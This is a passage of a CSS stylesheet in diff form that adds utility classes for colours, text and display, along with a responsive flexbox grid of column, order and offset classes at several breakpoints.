!important +} + +.ub-color-c { + color: #9932cc !important +} + +.ub-bg-c { + background-color: #9932cc !important; + color: #fff !important +} + +.ub-color-d { + color: #b22222 !important +} + +.ub-bg-d { + background-color: #b22222 !important; + color: #fff !important +} + +.ub-color-e { + color: #daa520 !important +} + +.ub-bg-e { + background-color: #daa520 !important; + color: #fff !important +} + +.ub-color-f { + color: #ff69b4 !important +} + +.ub-bg-f { + background-color: #ff69b4 !important; + color: #fff !important +} + +.ub-color-g { + color: #20b2aa !important +} + +.ub-bg-g { + background-color: #20b2aa !important; + color: #fff !important +} + +.ub-color-h { + color: #9370db !important +} + +.ub-bg-h { + background-color: #9370db !important; + color: #fff !important +} + +.ub-color-i { + color: #3cb371 !important +} + +.ub-bg-i { + background-color: #3cb371 !important; + color: #fff !important +} + +.ub-color-j { + color: #7b68ee !important +} + +.ub-bg-j { + background-color: #7b68ee !important; + color: #fff !important +} + +.ub-color-k { + color: #c71585 !important +} + +.ub-bg-k { + background-color: #c71585 !important; + color: #fff !important +} + +.ub-color-l { + color: #191970 !important +} + +.ub-bg-l { + background-color: #191970 !important; + color: #fff !important +} + +.ub-color-m { + color: #ff8c00 !important +} + +.ub-bg-m { + background-color: #ff8c00 !important; + color: #fff !important +} + +.ub-color-n { + color: #db7093 !important +} + +.ub-bg-n { + background-color: #db7093 !important; + color: #fff !important +} + +.ub-color-o { + color: peru !important +} + +.ub-bg-o { + background-color: peru !important; + color: #fff !important +} + +.ub-color-p { + color: #bc8f8f !important +} + +.ub-bg-p { + background-color: #bc8f8f !important; + color: #fff !important +} + +.ub-color-q { + color: violet !important +} + +.ub-bg-q { + background-color: violet !important; + color: #fff !important +} + +.ub-color-r { + color: #8b4513 !important +} + +.ub-bg-r { + background-color: #8b4513 !important; + color: #fff !important +} + +.ub-color-s { + color: salmon !important +} + +.ub-bg-s { + background-color: salmon !important; + color: #fff !important +} + +.ub-color-t { + color: #2e8b57 !important +} + +.ub-bg-t { + background-color: #2e8b57 !important; + color: #fff !important +} + +.ub-color-u { + color: #6b8e23 !important +} + +.ub-bg-u { + background-color: #6b8e23 !important; + color: #fff !important +} + +.ub-color-v { + color: tomato !important +} + +.ub-bg-v { + background-color: tomato !important; + color: #fff !important +} + +.ub-color-w { + color: #ed3f14 !important +} + +.ub-bg-w { + background-color: #ed3f14 !important; + color: #fff !important +} + +.ub-color-x { + color: #4f7ff3 !important +} + +.ub-bg-x { + background-color: #4f7ff3 !important; + color: #fff !important +} + +.ub-color-y { + color: #6a46bd !important +} + +.ub-bg-y { + background-color: #6a46bd !important; + color: #fff !important +} + +.ub-color-z { + color: #e9bd6c !important +} + +.ub-bg-z { + background-color: #e9bd6c !important; + color: #fff !important +} + +:root, +page { + --color-a: #FF7F50; + --color-b: #DC143C; + --color-c: #9932CC; + --color-d: #B22222; + --color-e: #DAA520; + --color-f: #FF69B4; + --color-g: #20B2AA; + --color-h: #9370DB; + --color-i: #3CB371; + --color-j: #7B68EE; + --color-k: #C71585; + --color-l: #191970; + --color-m: #FF8C00; + --color-n: #DB7093; + --color-o: #CD853F; + --color-p: #BC8F8F; + --color-q: #EE82EE; + --color-r: #8B4513; + --color-s: #FA8072; + --color-t: #2E8B57; + --color-u: #6B8E23; + --color-v: #FF6347; + --color-w: #ED3F14; + --color-x: #4F7FF3; + --color-y: #6A46BD; + --color-z: #E9BD6C +} + +.ub-bg-primary { + background-color: var(--color-primary) !important +} + +.ub-bg-white { + background-color: #fff !important +} + +.ub-bg-vip { + background-color: #e9bd6c !important; + color: #fff !important +} + +.ub-cursor-pointer { + cursor: pointer !important +} + +.ub-text-truncate { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis +} + +.ub-text-bold { + font-weight: 700 +} + +.ub-text-white { + color: #fff !important +} + +.ub-text-muted { + color: var(--color-muted) !important +} + +.ub-text-primary { + color: var(--color-primary) !important +} + +.ub-border-primary { + border-color: var(--color-primary) !important +} + +.ub-text-default { + color: var(--color-text) !important +} + +.ub-text-success { + color: var(--color-success) !important +} + +.ub-text-warning { + color: var(--color-warning) !important +} + +.ub-text-danger { + color: var(--color-danger) !important +} + +.ub-text-tertiary { + color: var(--color-tertiary) !important +} + +.ub-text-lg { + font-size: 1rem !important +} + +.ub-text-sm { + font-size: .6rem !important +} + +.ub-text-xs { + font-size: .5rem !important +} + +.ub-text-center { + text-align: center !important +} + +.ub-text-right { + text-align: right !important +} + +.ub-text-left { + text-align: left !important +} + +.ub-text-no-wrap { + white-space: nowrap +} + +.ub-block { + display: block +} + +.ub-display-none { + display: none +} + +.ub-inline-block { + display: inline-block +} + +.ub-box-shadow { + box-shadow: 0 .2rem .9rem #2f536d1f +} + +.ub-content-bg { + background-color: var(--color-content-bg) +} + +.ub-content-box { + background-color: var(--color-content-bg); + border-radius: var(--size-radius); + padding: var(--size-padding) +} + +.ub-content-block { + background-color: var(--color-body-block-bg); + color: var(--color-body-block) +} + +.ub-content-block:hover { + background-color: var(--color-body-block-bg-hover); + color: var(--color-body-block) +} + +.ub-border { + border: 1px solid var(--color-body-line) +} + +.ub-border-bottom { + border-bottom: 1px solid var(--color-body-line) +} + +.ub-border-top { + border-top: 1px solid var(--color-body-line) +} + +.ub-h-full { + min-height: 100vh +} + +.ub-header-mobile+.ub-h-full, +c-page-header+.ub-h-full, +c-page-header-search+.ub-h-full { + min-height: calc(100vh - 50px) +} + +@media (max-width:40rem) { + .ub-display-none-sm { + display: none !important + } + .ub-display-block-sm { + display: block !important + } + .ub-text-center-sm { + text-align: center !important + } +} + +.body-scroll-lock { + overflow: hidden +} + +.body-scroll-lock body { + overflow: hidden +} + +.body-scroll-lock .body-scroll-lock-hide { + visibility: hidden +} + +.body-scroll-lock .body-scroll-lock-none { + display: none +} + +@-ms-viewport { + width: device-width +} + +html { + box-sizing: border-box; + -ms-overflow-style: auto +} + +*, +::after, +::before { + box-sizing: inherit +} + +.row { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin-right: calc(0px - var(--size-margin)/ 2); + margin-left: calc(0px - var(--size-margin)/ 2); + box-sizing: border-box +} + +.no-gutters { + margin-right: 0; + margin-left: 0 +} + +.no-gutters>.col, +.no-gutters>.col-1, +.no-gutters>.col-10, +.no-gutters>.col-11, +.no-gutters>.col-12, +.no-gutters>.col-2, +.no-gutters>.col-3, +.no-gutters>.col-4, +.no-gutters>.col-5, +.no-gutters>.col-6, +.no-gutters>.col-7, +.no-gutters>.col-8, +.no-gutters>.col-9, +.no-gutters>.col-auto, +.no-gutters>.col-lg, +.no-gutters>.col-lg-1, +.no-gutters>.col-lg-10, +.no-gutters>.col-lg-11, +.no-gutters>.col-lg-12, +.no-gutters>.col-lg-2, +.no-gutters>.col-lg-3, +.no-gutters>.col-lg-4, +.no-gutters>.col-lg-5, +.no-gutters>.col-lg-6, +.no-gutters>.col-lg-7, +.no-gutters>.col-lg-8, +.no-gutters>.col-lg-9, +.no-gutters>.col-lg-auto, +.no-gutters>.col-md, +.no-gutters>.col-md-1, +.no-gutters>.col-md-10, +.no-gutters>.col-md-11, +.no-gutters>.col-md-12, +.no-gutters>.col-md-2, +.no-gutters>.col-md-3, +.no-gutters>.col-md-4, +.no-gutters>.col-md-5, +.no-gutters>.col-md-6, +.no-gutters>.col-md-7, +.no-gutters>.col-md-8, +.no-gutters>.col-md-9, +.no-gutters>.col-md-auto, +.no-gutters>.col-sm, +.no-gutters>.col-sm-1, +.no-gutters>.col-sm-10, +.no-gutters>.col-sm-11, +.no-gutters>.col-sm-12, +.no-gutters>.col-sm-2, +.no-gutters>.col-sm-3, +.no-gutters>.col-sm-4, +.no-gutters>.col-sm-5, +.no-gutters>.col-sm-6, +.no-gutters>.col-sm-7, +.no-gutters>.col-sm-8, +.no-gutters>.col-sm-9, +.no-gutters>.col-sm-auto, +.no-gutters>.col-xl, +.no-gutters>.col-xl-1, +.no-gutters>.col-xl-10, +.no-gutters>.col-xl-11, +.no-gutters>.col-xl-12, +.no-gutters>.col-xl-2, +.no-gutters>.col-xl-3, +.no-gutters>.col-xl-4, +.no-gutters>.col-xl-5, +.no-gutters>.col-xl-6, +.no-gutters>.col-xl-7, +.no-gutters>.col-xl-8, +.no-gutters>.col-xl-9, +.no-gutters>.col-xl-auto { + padding-left: 0; + padding-right: 0 +} + +.col, +.col-1, +.col-10, +.col-11, +.col-12, +.col-2, +.col-3, +.col-4, +.col-5, +.col-6, +.col-7, +.col-8, +.col-9, +.col-auto, +.col-lg, +.col-lg-1, +.col-lg-10, +.col-lg-11, +.col-lg-12, +.col-lg-2, +.col-lg-3, +.col-lg-4, +.col-lg-5, +.col-lg-6, +.col-lg-7, +.col-lg-8, +.col-lg-9, +.col-lg-auto, +.col-md, +.col-md-1, +.col-md-10, +.col-md-11, +.col-md-12, +.col-md-2, +.col-md-3, +.col-md-4, +.col-md-5, +.col-md-6, +.col-md-7, +.col-md-8, +.col-md-9, +.col-md-auto, +.col-sm, +.col-sm-1, +.col-sm-10, +.col-sm-11, +.col-sm-12, +.col-sm-2, +.col-sm-3, +.col-sm-4, +.col-sm-5, +.col-sm-6, +.col-sm-7, +.col-sm-8, +.col-sm-9, +.col-sm-auto, +.col-xl, +.col-xl-1, +.col-xl-10, +.col-xl-11, +.col-xl-12, +.col-xl-2, +.col-xl-3, +.col-xl-4, +.col-xl-5, +.col-xl-6, +.col-xl-7, +.col-xl-8, +.col-xl-9, +.col-xl-auto { + position: relative; + width: 100%; + min-height: .05rem; + padding-right: calc(var(--size-margin)/ 2); + padding-left: calc(var(--size-margin)/ 2); + box-sizing: border-box +} + +.col { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% +} + +.col-flex-container { + display: flex; + flex-wrap: wrap; + justify-content: space-between; + gap: 0 .5rem +} + +.col-flex-item { + flex-grow: 1 +} + +.col-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none +} + +.col-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333% +} + +.col-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667% +} + +.col-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% +} + +.col-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333% +} + +.col-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667% +} + +.col-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% +} + +.col-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333% +} + +.col-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667% +} + +.col-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% +} + +.col-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333% +} + +.col-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667% +} + +.col-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% +} + +.order-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 +} + +.order-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 +} + +.order-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 +} + +.order-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 +} + +.order-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 +} + +.order-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 +} + +.order-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 +} + +.order-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 +} + +.order-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 +} + +.order-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 +} + +.order-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 +} + +.order-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 +} + +.order-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 +} + +.order-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 +} + +.order-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 +} + +.offset-1 { + margin-left: 8.333333% +} + +.offset-2 { + margin-left: 16.666667% +} + +.offset-3 { + margin-left: 25% +} + +.offset-4 { + margin-left: 33.333333% +} + +.offset-5 { + margin-left: 41.666667% +} + +.offset-6 { + margin-left: 50% +} + +.offset-7 { + margin-left: 58.333333% +} + +.offset-8 { + margin-left: 66.666667% +} + +.offset-9 { + margin-left: 75% +} + +.offset-10 { + margin-left: 83.333333% +} + +.offset-11 { + margin-left: 91.666667% +} + +@media (min-width:0px) { + .col-sm { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + .col-sm-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + .col-sm-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333% + } + .col-sm-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667% + } + .col-sm-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + .col-sm-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333% + } + .col-sm-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667% + } + .col-sm-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + .col-sm-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333% + } + .col-sm-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667% + } + .col-sm-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + .col-sm-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333% + } + .col-sm-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667% + } + .col-sm-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + .order-sm-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + .order-sm-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + .order-sm-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + .order-sm-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + .order-sm-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + .order-sm-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + .order-sm-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + .order-sm-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + .order-sm-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + .order-sm-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + .order-sm-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + .order-sm-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + .order-sm-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + .order-sm-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + .order-sm-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + .offset-sm-0 { + margin-left: 0 + } + .offset-sm-1 { + margin-left: 8.333333% + } + .offset-sm-2 { + margin-left: 16.666667% + } + .offset-sm-3 { + margin-left: 25% + } + .offset-sm-4 { + margin-left: 33.333333% + } + .offset-sm-5 { + margin-left: 41.666667% + } + .offset-sm-6 { + margin-left: 50% + } + .offset-sm-7 { + margin-left: 58.333333% + } + .offset-sm-8 { + margin-left: 66.666667% + } + .offset-sm-9 { + margin-left: 75% + } + .offset-sm-10 { + margin-left: 83.333333% + } + .offset-sm-11 { + margin-left: 91.666667% + } +} + +@media (min-width:40rem) { + .col-md { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + .col-md-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + .col-md-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333% + } + .col-md-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667% + } + .col-md-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + .col-md-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333% + } + .col-md-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667% + } + .col-md-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + .col-md-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333% + } + .col-md-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667% + } + .col-md-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + .col-md-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333% + } + .col-md-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667% + } + .col-md-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + .order-md-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + .order-md-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + .order-md-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + .order-md-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + .order-md-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + .order-md-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + .order-md-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + .order-md-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + .order-md-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + .order-md-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + .order-md-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + .order-md-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + .order-md-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + .order-md-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + .order-md-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + .offset-md-0 { + margin-left: 0 + } + .offset-md-1 { + margin-left: 8.333333% + } + .offset-md-2 { + margin-left: 16.666667% + } + .offset-md-3 { + margin-left: 25% + } + .offset-md-4 { + margin-left: 33.333333% + } + .offset-md-5 { + margin-left: 41.666667% + } + .offset-md-6 { + margin-left: 50% + } + .offset-md-7 { + margin-left: 58.333333% + } + .offset-md-8 { + margin-left: 66.666667% + } + .offset-md-9 { + margin-left: 75% + } + .offset-md-10 { + margin-left: 83.333333% + } + .offset-md-11 { + margin-left: 91.666667% + } +} + +@media (min-width:60rem) { + .col-lg { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + .col-lg-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + .col-lg-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333% + } + .col-lg-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667% + } + .col-lg-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + .col-lg-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333% + } + .col-lg-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667% + } + .col-lg-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + .col-lg-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333% + } + .col-lg-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667% + } + .col-lg-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + .col-lg-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333% + } + .col-lg-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667% + } + .col-lg-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + .order-lg-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + .order-lg-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + .order-lg-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + .order-lg-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + .order-lg-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + .order-lg-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + .order-lg-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + .order-lg-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + .order-lg-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + .order-lg-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + .order-lg-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + .order-lg-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + .order-lg-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + .order-lg-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + .order-lg-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + .offset-lg-0 { + margin-left: 0 + } + .offset-lg-1 { + margin-left: 8.333333% + } + .offset-lg-2 { + margin-left: 16.666667% + } + .offset-lg-3 { + margin-left: 25% + } + .offset-lg-4 { + margin-left: 33.333333% + } + .offset-lg-5 { + margin-left: 41.666667% + } + .offset-lg-6 { + margin-left: 50% + } + .offset-lg-7 { + margin-left: 58.333333% + } + .offset-lg-8 { + margin-left: 66.666667% + } + .offset-lg-9 { + margin-left: 75% + } + .offset-lg-10 { + margin-left: 83.333333% + } + .offset-lg-11 { + margin-left: 91.666667% + } +} + +@media (min-width:90rem) { + .col-xl { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + .col-xl-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + .col-xl-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333% + } + .col-xl-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667% + } + .col-xl-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + .col-xl-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333% + } + .col-xl-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667% + } + .col-xl-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + .col-xl-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333% + } + .col-xl-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667% + } + .col-xl-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + .col-xl-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333% + } + .col-xl-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667% + } + .col-xl-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + .order-xl-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + .order-xl-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + .order-xl-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + .order-xl-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + .order-xl-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + .order-xl-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + .order-xl-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + .order-xl-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + .order-xl-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + .order-xl-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + .order-xl-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + .order-xl-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + .order-xl-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + .order-xl-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + .order-xl-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + .offset-xl-0 { + margin-left: 0 + } + .offset-xl-1 { + margin-left: 8.333333% + } + .offset-xl-2 { + margin-left: 16.666667% + } + .offset-xl-3 { + margin-left: 25% + } + .offset-xl-4 { + margin-left: 33.333333% + } + .offset-xl-5 { + margin-left: 41.666667% + } + .offset-xl-6 { + margin-left: 50% + } + .offset-xl-7 { + margin-left: 58.333333% + } + .offset-xl-8 { + margin-left: 66.666667% + } + .offset-xl-9 { + margin-left: 75% + } + .offset-xl-10 { + margin-left: 83.333333% + } + .offset-xl-11 { + margin-left: 91.666667% + } +} + +.d-none { + display: none !important +} + +.d-inline { + display: inline !important +} + +.d-inline-block { + display: inline-block !important +} + +.d-block { + display: block !important +} + +.d-table { + display: table !important +} + +.d-table-row { + display: table-row !important +} + +.d-table-cell { + display: table-cell !important +} + +.d-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important +} + +.d-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important +} + +@media 